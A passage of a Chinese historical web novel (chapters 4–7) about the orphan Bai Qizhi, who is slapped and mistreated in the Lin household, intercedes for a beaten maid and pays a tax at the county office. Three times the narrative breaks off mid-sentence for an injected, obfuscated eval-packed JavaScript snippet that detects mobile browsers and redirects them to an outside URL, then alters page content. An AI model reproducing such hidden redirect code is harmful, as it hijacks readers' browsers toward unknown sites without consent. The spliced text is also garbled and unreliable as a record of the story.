蓦地被沈忘尘唤了一声，春花赶紧收起笑意，抬头，一脸担忧：“公子可是身体不舒服？” 沈忘尘只微微笑着，缓声道：“你来。” 春花巴巴地上前蹲在沈忘尘面前，一瞬不瞬地看着他。 就在她以为沈忘尘要同她交代些什么时，就见着面前人含笑垂眸，声调轻缓道： “春花，今日白姑娘早膳中的那枚刀片——是你放的吧？” 说着，他摊开右手，白腻的手掌中躺着的，正是那枚被埋进土中的、曾出现在白栖枝早饭中的细小刀片。 …… 4. 反抗 林听澜寻到白栖枝时，后者还抱着扫把小心翼翼地将扫好的一堆落叶慢慢赶到树根底下。 见她如此不紧不慢，甚至还有闲情逸致扫叶子，林听澜心中“嗖”地窜起一股无名火。 他沉着眉眼，攥着拳，一步步朝白栖枝走去。 秋风袭来，白栖枝打了个喷嚏，冻得瑟瑟发抖。 又一片枯叶被扫落枝头，白栖枝抬头看着落叶飞到自己身后，便寻着它飞去的踪迹缓缓转身—— “夫……林哥哥。” 对上林听澜黑得如墨汁一般的面皮，白栖枝下意识紧抱住怀中的扫把，瑟缩着向后退了一步，低着头，恨不得将自己缩成一个球。 林听澜沉默不语。 忽地—— “啪！” 清脆地耳光声自后花园中心响起。 男人的力气本就比十三四岁的少女要大上许多，再加上这一巴掌白栖枝没有防备，她就如同一张纸片般被林听澜狠狠扫落在地。 左手手掌挫在地上，白皙纤薄的皮肤立即被擦破了皮，露出殷红血丝，正密密麻麻地渗着血珠；右手则因为抱着扫把，手被竹枝划了一下，立即鼓起起一道红印子。 两处伤痛痛得白栖枝倒吸一口气。 越发模糊的视线时明时暗，腥甜的血在口中肆意流淌。 滴答，滴答。 鲜血溢出唇舌落在地上，地面霎时间迸出了一朵红花。 白栖枝吞了口带血的唾沫，从地上艰难地支起身子，用中指指腹点了下唇边溢出的湿热液体看了看，随即便用手背用力抹去 她转过头，与那人四目相对。 这是林听澜第一次如此正视白栖枝。 小姑娘发丝凌乱，白皙的脸上渐渐浮现出红肿的巴掌印，齿尖上全是血，嘴角残存着被抹开的血渍，狼狈得像一只被人虐待过的大街上的流浪猫。 可纵然如此，她那双墨澈的杏眸依旧亮得很——那双眼中没有惧怕，没有愤怒，有的只是隐忍。 手心的余温依旧滚烫，林听澜就见着白栖枝拿着扫把缓缓站起，就站在自己面前，狼狈地、冷静地用沾了血的齿尖一字字发狠碾道： “林听澜，我会永远记得你给我的这一巴掌。如今我小没有能力还你，但今日你给我一巴掌，来日我就会还你十巴掌，今日你若打不死我，来日我就会把这阵子受的欺辱尽数还给你，无论是十年、二十年，亦或是到死你都逃不掉，你信不信？” 她说的很慢，嘴角甚至还流着血，但每个字都咬得斩钉截铁、掷地有声。 林听澜这才觉出几分味道来—— 说这人是小流浪猫实在是太轻视她了。 她不是小流浪猫，她是头还没长成的小狮子，在小小的角落里蛰伏着，等着长大后要来找他寻仇呢。 也不是气得，还是实在是不将白栖枝这番话放在眼里，林听澜笑了一声。 “呵。”他居高临下地睨着面前这几乎如同豆腐般柔弱无骨，能被他一指头就能碾得稀碎得小姑娘，冷笑道，“白栖枝你以为你现在在谁家？还想威胁我，这林府你想住就住不想住就滚，真当你有份破婚契就能拿捏住我的把柄了？那日我没当你面撕了就算是给足你一个小姑娘脸面了！我告诉你，你要想还在这里住，就得听我的，我让往东你不得往西，我让你去死你就得去死，听明白了么！” 林听澜这话说的难听，但也确实是事实。 白栖枝不再言语，默默将扫把抱在怀里，垂下头。 就在林听澜以为她又会变得如一只温顺可欺的小白兔般乖乖听话的时候，白栖枝抛出了最后一个问题。 “你想让我做什么？” 林听澜听她声音低沉又苍凉只觉得有些好笑。 他走到她身边，如拎小鸡崽子一样拎着她后衣襟将她提起，声音却没方才那般气了： “忘尘还在等着你，他身子骨不好，别让他等太久。” 寒风从衣领的空缺顺着脊骨流淌进身体里，一路上白栖枝都紧咬着牙，生生忍着这股子寒意，直到被拎到沈忘尘的院子前，她才松了口。 但这并不是因为暖和，而是被吓得。 未进院门，白栖枝就听到院子里传来少女的哭喊求饶声，当林听澜推开院门后，一股夹杂着冷风味的血腥气便冲她扑面而来。 院中央，沈忘尘正披着银白色狐皮大氅坐在轮椅中，听到声响，缓缓转过头朝两人微微一笑。 “回来了。” 而在他面前，是被下人们打板子打得奄奄一息的春花。 血透过衣衫在她背上洇红了一片，血珠顺着衣角缓缓滴落，为地上那滩枯红色的血泊又染上几点红。 下人们的板子还在毫不留情地下落，春花哭喊着求饶，脸上濡湿一片，分不清是泪水还是血水。 白栖枝几乎要战栗起来—— 不要再打了，不要再打了！ 再打下去…… 再打下去春花姐的内脏会碎的！ 再打下去这里是要死人的！！！ 她惊恐的目光在沈忘尘与林听澜之间游离了好几回，前者还在朝他们笑，后者脸上如同熟视无睹一般也笑着迎上前去。 白栖枝就像庙里的贡品般被拎上前去，放下，眼睁睁看着林听澜蹲在沈忘尘的面前拢着他冻得青白的手絮絮安抚。 白栖枝的目光又落回奄奄一息的春花身上。 她的腿是软的，刚想上前一步，膝盖就重重捶在地上，痛得她眼泪夺眶而出。 “枝枝。”沈忘尘的一声唤叫她回过头。 白栖枝就见着他原本微微蜷起的左手朝她缓缓摊开。 白嫩得几乎没有纹路的手心内静静躺着的，就是那枚割破她唇舌的刀片。 她一下子就丧失了所有的力气。 林听澜也看见了，眼中露出“原来如此”的神色。 这么一说，白栖枝吐血的事就跟他毫无关系了。 可看着白栖枝红肿的脸颊和渗出血珠的手，怒气消散后，他竟也难得地生出几分愧疚来。 “沈……沈公子。”白栖枝的声音都在颤抖。 她知道春花姐做错了事，她也知道一定要让春花姐受到一些教训才能起到警醒其他下人的作用。 可是……可是…… 明明春花姐已经成这个样子了，为什么她心里毫无报复回去的快感，有的只是无穷无尽的恐惧？ “沈公子……”白栖枝努力让自己发抖的嗓音平静下来， 膝盖骨磕得实在太痛了，她站不起来了。 白栖枝一点点膝行至沈忘尘与林听澜面前，重重磕了个头后却不抬头，只是一直维持着那个姿势乞求道：“沈公子，求求您放过春花姐吧，她只是做错了事，她罪不至死，她不该被打死的，求求您放过她吧……” 谁都没想到白栖枝会为曾欺辱过她的人求情。 原本还在求饶的春花声音戛然而止，林听澜也好像在看白痴一样看着白栖枝，唯独沈忘尘眼中闪过一丝光亮。 眼看着下人手中的板子就要落到春花身上。 “停。” 沈忘尘一开口，下落地板子硬生生止住，停在春花离不足一寸远的上方。 行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764766|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刑的下人收了板子，一动不动地站在原地。 四下里没有声音，直到林听澜率先开口，才打破了这院中难得的安静： “忘尘这也是为了你好，你为她求情做什么？不识好歹。” 一句话落入白栖枝耳朵里比雷殛了她还令她难受。 白栖枝抬头张嘴想说些什么，可对上林听澜目光的瞬间便如鲠在喉，自知有些事是怎样也说不通了，因为林听澜根本是抱着“一个丫鬟而已打死了便打死了，又能怎样”的态度在同她说话，无论她怎么辩解，他都不会听上一个字。 一时间，白栖枝只觉得自己被无数只看不见的手拽着拖着，它们想要她闭嘴，如同一路上所有人都告诉她算了吧、算了吧，她一个女儿家又能做什么呢。 可她偏不！她偏要说！ 哪怕再狼狈也好，哪怕再招人嘲笑也好，如今她在这世间已是举目无亲，若她今日不为自己站出来，这世上便再无人能为她发声。 “林听澜。”顶着被驱逐出府的后果，白栖枝摸了一把脸上的泪痕，抖着嗓音开口说道，“你说我不识好歹，是因为你在借着为我的名头来杀人！我大昭律法有云：若主因奴有罪而殴杀之，即奴有愆犯而被戮，主当受杖责一百。你以为借了我的名头你的手上就不沾血了？你以为借了我的名头杀人就不用受刑了？更何况——” 她顿了一下，看向疼到昏死过去的春花，看着她背后那浸透衣衫的血迹，回过头，用那双满是泪花的杏眼逼视着林听澜道： “更何况，我与春花姐毫无利益牵扯，她是为什么对我如此，她是为谁而对我如此，你当真分毫不知么？！” 现如今林听澜是林家的大爷，他的态度便代表了林家的态度。 因他厌恶白栖枝，所以林府上下便也要厌恶白栖枝。 但显然，当惯了纨绔子弟的林听澜并没意识过这一点，以至于他哪怕当家大爷，却因府内无人敢规训他，这两个月内，对此事毫无察觉。 而今这事儿被白栖枝一语道破，林听澜的面上便有些挂不住了，立即黑了脸，欲训斥白栖枝，幸而沈忘尘及时开口，才将他的话堵了回去：“好了，把她抬下去吧，顺便叫人琼液散给她服下，连着喂上三五次也就好了。”说完，又看向白栖枝。 面对他，白栖枝自然没有什么火气，只是一副有什么话想说又不敢说，搓着衣角，看起来很急的样子。 沈忘尘微微一笑：“怎么了？” “那个……”白栖枝有些为难道，“如果沈哥哥真的想为我出头的话……可不可以……把春花姐姐的卖身契交给我保管……” 她的声音细若蚊喃，可落到林听澜耳朵里，便比大年三十的炮仗还响：“白栖枝，你不要得寸进尺！”什么叫交给她保管？她分明就是想要！ “我。我可以赊的，打欠条也可以，或者……或者我有这个。”白栖枝从自己贴心口的衣裳口袋里掏出一个又小又细的金镯子，“这是我阿娘在我满月时给我打的生辰礼，我可以把这个押在沈哥哥这里，如果沈哥哥可以答应的话……” 小姑娘看起来要急哭了。 “当然可以。”沈忘尘依旧是一副和煦笑面，“不过这镯子就不必了，既然是枝枝娘亲的遗物，还是枝枝自己保管较好。”说完，见白栖枝又还话想说的样子，又问道，“还有什么事么？” 这下子白栖枝是真的要哭哭了：“沈哥哥可不可以借我六百钱，今日是我生辰，过了今天我就要满十四岁了。按大昭律法：女儿至十四岁还未出嫁者，罚六百钱。我得把这税交给官府，不能坏了家里的名声。” …… 5. 相厌 林听澜一直不明白为什么沈忘尘会如此纵容白栖枝。 他问，沈忘尘也只是说叫他不要欺负她，但话里话外显然留着意思。 直至用完晚膳后，他再也忍不住，又朝问了一遍。 沈忘尘这才徐徐放下碗筷，用帕子擦了擦唇边，轻声答他： “自长平徒步行至淮安，少则一个半月，多则两月有余。她一个姑娘家敢在被追捕的情况下，独自一人从长平寻来，其中气魄可想而知。仅凭这点，你就不该小觑于她。” 林听澜虽是纨绔，但不傻，听他这么一说顿时明白，却还是有些迟疑：“你想留她？” 下人递上茶盏，沈忘尘漱了漱口，林听澜立马接过他手中的帕子为他擦拭唇畔，又道：“可她如今那样你也不是没看见，总得有人给她好好立立规矩。” 沈忘尘一把握住他的手腕，说：“翰林家的千金哪里会不懂规矩？是你对她太刻薄了。” 林听澜一时间有些委屈，兀自小声道：“哪里刻薄了？” 在他眼中刻薄得反倒是白栖枝。 想当年，他原本一个人活的自由自在的，可八岁那年，爹娘却突然告知他有娘子了，他要当夫君了。 他有娘子了，他要当夫君了。 林听澜就这样想着想着，被父母带到了长平参加了白栖枝的满月礼。 那天，所有人都在催他抱抱自己的小娘子，他接过，朝襁褓里一瞧—— 咦～ 小姑娘甫一到他怀中就抗议似的大哭着，一张小脸皱巴巴的，哭得比山上的猴子还难看。 最重要的是，她还尿了她一身！ 当时林听澜身上穿的是他最喜欢的一件袍子，平日里都舍不得穿出来，是因着要见自己的小娘子才特地换上的，没想到刚一见面就被尿湿了。 少年的心思总是直白又简单，自此，林听澜看见白栖枝就再没露出过好脸色。 可若只是这一件事，倒也不至于让他叫他厌烦白栖枝厌烦了十几年。 最令林听澜恼火的，是自此之后，爹娘便以有妇之夫的要求来要求他，什么不许他与其他女子交谈接触，什么责令他好好读书不许他与同伴出游，催他快点长大好撑起林、白两家……一座座大山压下来，压得年少的他简直要喘不过气来。 明明自己与白栖枝一年都见不上一次面，但自己却因她失去联系许多。 纵然林听澜明白这些事不过爹娘借白栖枝的名头来要求自己，但他还是恨白栖枝，他恨她出生，恨她为什么会是自己的娘子，甚至恨她还活着。 要是她能死掉就好了。 这是林听澜在十九岁那年发出的最恶毒的咒。 再后来，二十岁那年，他爹积劳成疾病死家中，阿娘不久也郁郁随之而去，林家的主事人身份就落到了林听澜身上。 当时他正失意，恰好遇上了大他两岁的沈忘尘。 两人一见如故，不知怎么的就看对眼了，后来相处久了互相看对方也顺眼顺心，就这样凑到了一起，成了一对断袖。 再后来就是这事儿被沈忘尘的爹——国子博士沈老爷知道，一怒之下打断了沈忘尘的腿，将他从族谱中逐去，沈忘尘就这样进了林府的门。 这两年下来，林听澜主外，沈忘尘主内，两人互相扶持，倒也将日子过得风生水起。 直到今年出了白栖枝这个变故。 在看到那封信的时候，林听澜忍不住出了一身的冷汗。 十九岁时发出来的毒咒就这样应验，就连他自己也忍不住恍惚，难不成白家被灭门真的有他的一份罪？ 由是，在他见到白栖枝那唯唯诺诺的样子时，出了厌恶，还有半分的心虚恼怒。 就好像白栖枝的人生本该由他来背负。 沈忘尘也知晓林听澜的心思，柔弱无骨地手覆上他的脸颊摩挲着，絮絮安抚道：“别怕，枝枝她性子纯良，日后你对她好些，她不会怪你的。更何况她如此聪颖，如今留着她，日后有大用处也未可说。你呀，日后还是对人家好些吧。” 真的不会怪吗？林听澜暗暗地想。 他抬头对上沈忘尘笑盈盈地眼神，忽地又有些吃起醋来，怏怏地宛如一只失意的大狗狗，问到：“忘尘，你不会喜欢上她了吧？” 沈忘尘无奈一笑：“你呀……” 不等叹息声落地，他便被林听澜打横抱起。 “嘴上说的不算。”林听澜说完，长腿一伸，朝正室走去，帖耳轻声道，“还得是事情上见真章。” …… 白栖枝是亲手将晚饭送到春花房里的。 她来前便已有打量，什么该说，什么不该说，什么话又该怎么说，她心知肚明。 门开，血腥气与药的苦味充斥着整个房间，因琼液散需用酒服，这诡异的气味中便又含了些酒的辛味。 听到动静，春花朝门口一望，见是她又赶紧转回头去，将脸埋在臂弯间不去看她。 白栖枝知道如今春花不知道该怎样面对她，便也不开口说话，只是拉过屋内一张板凳，将饭菜放在上面，又从袖中掏出金疮药，小心翼翼地将春花背上与血肉粘连在一起的衣服一点点撕开。 “嘶！” 一声痛到极致的冷哼声在房间内响起，春花攥紧了手，指甲在手心处留下了一道道紫青色的月牙。 “你走吧。”她说，“我知道我对你什么样，你也不用来对我好，我是不会感激你的。” 虽是这样说，但早在白栖枝为她下跪求情的时候，她就已经升腾起了弄弄的愧疚之意，那股情感几乎要将她扼死，她已经承了白栖枝的情，不想再欠她更多。 更何况她本就是个丫鬟，若不是因为白栖枝，她哪里配用得琼液散这么珍贵的药物？ 不若就让她在这里自生自灭，也算是她狗眼看人低的报应。 白栖枝没有说话。 沾了金疮药的指尖冰冷，点在春花背上，疼得后者又是一阵隐忍的吸气。 “好疼。”春花转头看向她，小声道，“你不会是在趁机报复我吧？” “我报复你做什么？”白栖枝轻声开口，手上的动作却从未停顿，“你忍一忍，你后背上全是伤，忍过这阵结痂了就不疼了，我小时候和阿兄出去玩磕破膝盖的时候，我阿娘就是这样给我上药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764767|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。那时候每个休沐日，阿兄总会带我出去玩，阿爹和阿娘就在家里给我们准备好吃的。阿爹好啰嗦，每次我和阿兄出去，他都要喋喋不休地嘱咐好久，这时候，阿兄就会说‘爹你不要说念经啦，我耳朵都要起茧子啦’，然后就会扯着我带我去吃糖葫芦。有一次我们两个在后山上找到了一个小土坡，我阿兄就怂恿我要我从土坡上跳下来练练胆子。那时候我还小，才五岁，那个小土坡长得比我还高，我说害怕，阿兄就说‘枝枝别怕，有些事看着唬人，其实做了也就那样，一点都不吓人的’。就这样，我信了他的鬼话，兴冲冲地站在土坡上往下蹦，然后——我就跪倒在他面前摔了个大跟头。” “噗。”听到这儿，春花一时没忍住乐出了声，却又知道此时不是该笑的时候，硬生生忍住，不说话。 白栖枝又道：“那时候我摔得可狼狈了，膝盖和手都擦破了，就坐在地上一直哭，我阿兄怎么哄也哄不好，就赶紧把我背回了家。到家后，我阿爹就在门外大声骂阿兄，我阿娘则赶紧把我抱回屋里上药。我从小就怕痛，摔倒的时候要哭，上药的时候更要哭，我阿娘见我哭得厉害，就会不知道从哪变出一罐蜜饯说只要我能忍住不哭，她就把那罐蜜饯给我吃。我阿爹管我很严的，从来不允许我和阿兄吃蜜饯，所以为了那小罐蜜饯我咬着枕头一只没有哭。后来我才知道，原来那罐蜜饯是我阿兄在背地里偷偷攒的，当时他知道阿娘吧那罐蜜饯给我的时候，他哭得可凶了，但到底也没管我要回那罐蜜饯。” 白栖枝语气又柔又甜，光是听着她絮絮叨叨着儿时的事，春花便觉得背上的痛好多了。 直到前者说完，她才意识到自己竟听入了迷，赶紧又趴回臂弯里，嗡里嗡气地开口：“你跟我说这些做什么，我又不会心疼你。” 白栖枝顿了一顿，缓缓说道：“春花姐，自从我进了林家的门后，你总骂我是贱人。我不贱。如果不是家门被灭，我根本不会来这个地方，可是我……” 说到这里，白栖枝已经有些哽咽。她强忍着没有哭出来，摸摸手回收，将金疮药改好收回，起身。 “嘶。”站起来的一刹那，白栖枝痛的倒吸一口冷气。 白天膝盖锤地的那一下直到现在还留有余痛，膝上未完全结痂的伤口因她来回的屈伸而再次破裂开。 白栖枝紧咬着苍白无血色的下唇，缓了缓，试着迈开腿，摆动的下裙蓦地黏在她尚在渗血的伤口上，又因着另一条腿的迈出而被迫撕开。 门外月光皎洁。 开门的一刹那，白栖枝立马被漱冰濯雪般的月华扑了满身，零落一地清辉。 她举步要走，却又停下，回头看向春花。 四目相对间，少女的眼睛亮的吓人。 春花看着她的神情，极不确定地讷讷问道：“白小姐，您……当真不恨我？” 恨这个字对于白栖枝来说太绵长了。 “我不恨你。”她说道，“我只是觉得有些事不该是这样。” 说完，她抬头看了看天上繁星与满月，忽地舒出一口气，浅浅笑道：“天很晚了，春花姐你好好休息，我该回去了。” …… 6. 女子 昨夜经历了一番云雨情长，林听澜一大早心情不错，也就听了沈忘尘的话让，请白栖枝来一同用早饭。 只是—— 白栖枝被叫过来时，怀中还抱着比她高出一个头的账簿，走得摇摇晃晃，光是看着就令人心惊。 “你这又是在做什么？”沈忘尘在场，林听澜隐而不发，“阿财，把这些东西带下去！” 站在林听澜身边的贴身听闻，赶紧从白栖枝手中将那堆账本抱走，交代给其他人待下去，以免惹得主子不快。 见林听澜面色又沉了下来，白栖枝赶紧道：“是这样的，我可以解释！” 见林听澜今日的神色不复之前那般吓人，她解释道：“因为春花姐受了伤在床上起不来嘛，正好今日又轮到她管理账簿，我就早上起来帮她去打扫账房整理账簿，免得她旷工扣工钱嘛。等到我刚打扫完账房打算把账簿拿出来晒一晒，就被叫到这里来了，然后……然后就这个样子了嘛。” 她学得手舞足蹈，说到最后一句话的时候气势又一下子弱了下来，捏着手，低头偷偷去看林听澜的神情，活像一个做错了事所以在面对大人的责怪时低头偷偷打量大人神情的小孩子。 听完她说，林听澜忽地想起昨日一夜云雨后，沈忘尘曾拢着他湿漉漉的鬓发对他说道—— 那孩子是个聪明的，如今这个时辰她应该已经开始借势拉拢春花了，并且明日一早，她定会装作什么都没发生过一样如常待你，你且看吧。 看着白栖枝这副乖巧模样，林听澜侧目看向沈忘尘，后者依旧是微笑着，一副运筹帷幄的模样。 “自作聪明。”他回过头，垂眸看向白栖枝，冷冷道，“她那般对你，你却还为她做工，真是蠢钝如猪，你知不知道，她是想要你的命？” “额……”白栖枝挠了挠脸颊，“话也不能这么说吧，我不是也没有死掉嘛……” 她挠脸颊时手上的伤正好露了出来，上面已经结了痂，红褐色的一片，被白皙的肌肤衬得格外可怖。 林听澜看着，原本积攒的气一下子散了大半，他没再提这茬，只是道：“过来吃饭吧，你要的六百钱我已命人准备好了，等吃过饭，我带你去官府衙门缴税。” 林听澜本是不愿意亲自带白栖枝出门的，只是沈忘尘这样交代了，他只得照做。 没必要为了一个黄毛丫头伤了他和忘尘这几年来的感情。 林听澜在一旁犯着别扭，一直坐在他身边的沈忘尘倒是笑着拍了拍身侧空空的小凳子，朝白栖枝莞尔一笑道：“枝枝，过来坐。” 岂料话音未落，前者就起身将凳子撤到两人对面，朝白栖枝使了个眼色：“自己过来坐。” 一顿饭，白栖枝吃得十分压抑。 沈忘尘的手不灵便只能用汤匙舀着饭菜吃，由是，林听澜就一直在给他夹菜，夹得他碗里的菜堆得比小山还要高。 相比起来，白栖枝一直吃饭吃得如履薄冰：她不敢怎么夹菜，一直吃得都是面前单独的那一盘菜，有时林听澜一个眼风扫过来，她便再不敢夹，只默默吃着碗里的白米饭，连大气都不敢喘一声。而当沈忘尘发现她一直在吃白米饭时，问她怎么了的时候，林听澜则会呵斥着她让她少摆出这副可怜兮兮的模样，好似谁欺负了她似的。 不过一炷香的时间，白栖枝只觉得自己被人夹在火上烤了又烤，心被刀尖扎了又扎。 想当年，她还是白府的大小姐，是爹娘盼了四年才盼来的金枝玉叶。她一出生，吃穿用度都是府内极好的，她喜欢什么菜，家中厨子就会变着花样地给她做。记得有一阵儿她格外爱吃嫩笋子，白翰林就专门派人去山上给她采了一筐又一筐，叫她每日都有嫩笋子可吃。那时候他阿兄可难过了，说自己日日吃笋子，都快要吃成大貊了。这时候，阿爹就会捋着自己的美髯说要单独给阿兄加一道菜。 加的是什么菜？ ——竹笋炒肉丝。 说实话，时至今日，白栖枝还没缓过来自己是怎么从人人爱戴的白府大小姐，变成一个无家可归、只能寄人篱下的孤女的。 对她来说，她的前半生美好的就像是一场梦，如今梦散了，连带着她的精魂也一缕缕地散了。 尤其是她跑到阿兄经常带她玩的后山上，停下来，回头看府内被火光染成血红色的时候，她的精魂就已经化做瓢泼的夏雨，拼尽最后一丝气力，将那场席卷了她家中上下的大火给扑灭了。 就这样想着，白栖枝用筷子去夹碗里的米饭，却触到一块硬邦邦的东西。等她回过神，才发现碗中的米饭已经被她吃没了。 她缓缓放下碗，林听澜还在给沈忘尘夹菜，见她吃完，便让她赶紧去换身干净衣服，别出了门给他丢脸。说完，又像是意识到了什么，说了句“算了”，就让她到外面等着。 等白栖枝走后，林听澜才气鼓鼓地问沈忘尘方才为什么让她坐到他身边，还亲切地管她叫枝枝。 “少吃飞醋。”沈忘尘嘴角带着一抹轻描淡写的笑，“那孩子怕你呢，你看她方才做到你对面连饭都不敢吃，瞧着怪可怜见儿的。你呀，也别对她那么凶，她是个有主意的，又真没能忍，以后定会有大出息，现如今你对她好些总不会有错，没准日后若不慎出了事，你我还得靠她拉上一把呢。” 林听澜听着话当即有些不忿：“她一个小姑娘家就算再有出息，也不过就是日后找个好人家嫁了，又怎么能拉上咱们一把？” 沈忘尘道：“平日里叫你多看些史书你也不爱看，总说做商人的没必要精学那些东西，有这时间还不如多去外面喝几盅酒谈几场生意。以铜为鉴，可正衣冠；以古为鉴，可知兴替；以人为鉴，可明得失。且不说五百年前大启开国女帝苏咏絮在北晟时便以女子之身任大将军、镇安王，就说六十年年前昭华公主裴山河以联合罪臣之子谢厌之，以一己之力肃清众皇子，搅动朝野、登基称帝，你便不应该再小觑任何一位姑娘家。” 林听澜道：“可从古至今女子出名的不也就这么两个？况且一个正当花信年华便劬劳而死；另一个登基称帝后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764768|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昏庸无道，不过三年便被我朝太祖斩下头颅。如此论之，又有什么可说的？” 沈忘尘不再与他争论，只是微蹙了眉头看他。 林听澜也不想因此事再辩论下去，而是拢了沈忘尘冰冷的指尖放在手中暖着。 少年正值气血方刚之时，一双大手格外厚实滚烫，沈忘尘光是这样放着，就觉得自己的手搭在了新灌好的汤婆子上，热得心都熨帖了。 林听澜给将清白瘦削的手搓了又搓，直到搓出几分血色，沈忘尘苍白冰冷的双手才变得粉红暖和了起来。 昔日两人发生口角时，林听澜就是这样朝沈忘尘示好的。 沈忘尘一见他如此，便有些心软，吐出一口浊气后顿了顿，抚上他的脸颊唤了声“阿澜”。 林听澜抬头看他，就见着他眼神如秋水叠风，正柔柔地朝他看来。 “阿澜。”沈忘尘轻启檀口，“你知道的，我这副身子撑不了几年，而你身旁也该有个人同你相互照应。栖枝那孩子不错的，又聪明又伶俐，若她在能你身边，你往后的日子定能如鱼得水。况且你与我不同，我已被家族除名，而你身后还有个林家，早晚是要娶妻生子、为林家开枝散叶的。若我死后……” 话未说完突然被一吻封缄，沈忘尘仰头看着面前的少年，后者闭着眼，滚烫的舌尖伸入他冰凉的口腔内，勾着他有些退怯的舌尖，轻轻缠着。 “忘尘，以后不许再说这样的话了。”林听澜含糊不清道，“你要好好活着，我们一起长命百岁。” 沈忘尘忽地就笑了，心里又欣喜又酸涩，只也轻声回了他一句：“好，我们一起长命百岁。”说完，无力的手轻轻搭在少年人的脖颈处，攫取着他如火般灼热的体温。 一阵秋风飒踏而至，搅得屋外红叶声声簌簌。 “阿嚏！” 蹲在檐牙下缩成一团的的白栖枝吸了吸鼻子，尽量不让鼻涕留下来。 好冷啊…… 今天是她在林家的第二天，虽然不知道需要干点什么，但就论今天的话，她得先将税缴到官府，然后中午吃完饭去看春花姐，下午沈哥哥午睡醒来后如果要教她算账本的话她就乖乖去学，如果沈哥哥今天没时间的话她就继续去帮春花姐干点活，等到晚上一切结束，她就可以钻进小被子里拍拍自己哄自己睡觉啦！ 昨天睡得不好，身上痛痛的，今早寅时的时候差点没有起来，晚上干完活儿看完星星后一定要早点睡觉。 果然光是这样把自己安排得满满当当，没什么用的她看起来都好像有用多了呢！ 至于干完活儿为什么要看星星。 因为在很受伤是很想哭的时候，只要看完星星，她就还有力气回到屋子里用被子把自己裹起来抱着拍拍安慰自己没关系，她不是没人要的小孩，她的阿爹阿和阿兄都在天上看着她呢，她阿爹阿娘阿兄还一直在陪着她呢。 她乃宣和画院翰林长平白家白纪风之女白栖枝。 才不是、才不是没人要的小孩。 …… 7. 轻视 不过三日，白府被灭门的事情就风也似地从长平传到了淮安。 “相传，那日月黑风高，星隐云遮，数位贼人潜入白翰林府。此辈贼人手段高强，须臾之间，府中侍卫尽遭屠戮。府内血光冲天，白翰林为护家眷，虽手无缚鸡之力，亦持刃而出，与贼相抗。然力有不逮，转瞬间，贼人刀下，白翰林喉破血流，倒于血泊，气绝身。” “白氏之子，年未及冠，目睹父遭惨死，知母与阿妹性命危殆，遂挺身而出，欲以一己之力护二女。然凶徒何其残暴？其与歹徒数番搏斗，终被贼以刃连刺腹中，失血而毙。” “如此一来，府内唯余白氏夫人与千金二人。白氏父子罹难后，恶徒复入正室，欲行不轨之事，然白夫人宁死不屈，竟以金簪自刎而亡。至此，白府上下，无一生还。” “有人说，此事乃白翰林结怨所致，然白翰林性温良，素不与人结仇，且为清廉之官，岁岁捐香火于寺院，屡施粥于贫民。此等贤良之士竟遭灭门之祸，实在是咄咄怪事！至于其事出何因，究竟是何人所为，还得待官府细细查来啊……” 茶楼内，说书人唾液横飞，竟将一桩惨案说得如书坊中的话本子一般精妙。 “哎，不对啊。”台下一听客道，“白家四人，三人死于贼手，唯独白小姐下落不明，你怎么就敢说白府上下无一生还呢？” 只见那说书人微微一笑道：“那白家小姐方及豆蔻，父母兄长被杀，她一介女子又怎能独活于世？估计早就随家人而去了吧、” 林听澜不过是偶然间经过，听那说书人说完，下意识看向身侧的白栖枝。 后者神色如常，依旧是盈盈一张笑面，不见一点伤心之色。 两人到了衙门，当听到白栖枝自报家门的时候，就连当地知县也忍不住吃了一惊。 林听澜实在是想不明白白栖枝为何一定要缴这个税。 按理说，她刚遭灭门惨案不久，理应隐姓埋名地活着，以防仇家来寻。可她却偏不，非要正大光明地活着，让所有人都知道她这位白翰林之女白栖枝还活着。不仅活着，甚至还缴纳赋税，定居淮安，这不是摆明了要让仇家来淮安寻她么？ 当林听澜鄙夷地将自己想法说出后，白栖枝只是想了片刻便答道：“这不也挺好的么？” 林听澜噎了一下。 白栖枝道：“按大昭律法：诸谋杀制使，若本属府主、刺史、县令及吏卒谋杀本部五品以上官长者，流二千里。其亦有云：能告群盗劫杀人者第赏之，及十人者予钱十万。若当真有仇家来寻我的话……十万赏钱，总会有人来搏一搏吧？” 林听澜摸不清她的想法，也不信她说的话：“不过十万钱而已，哪里值得人以命相抵？” 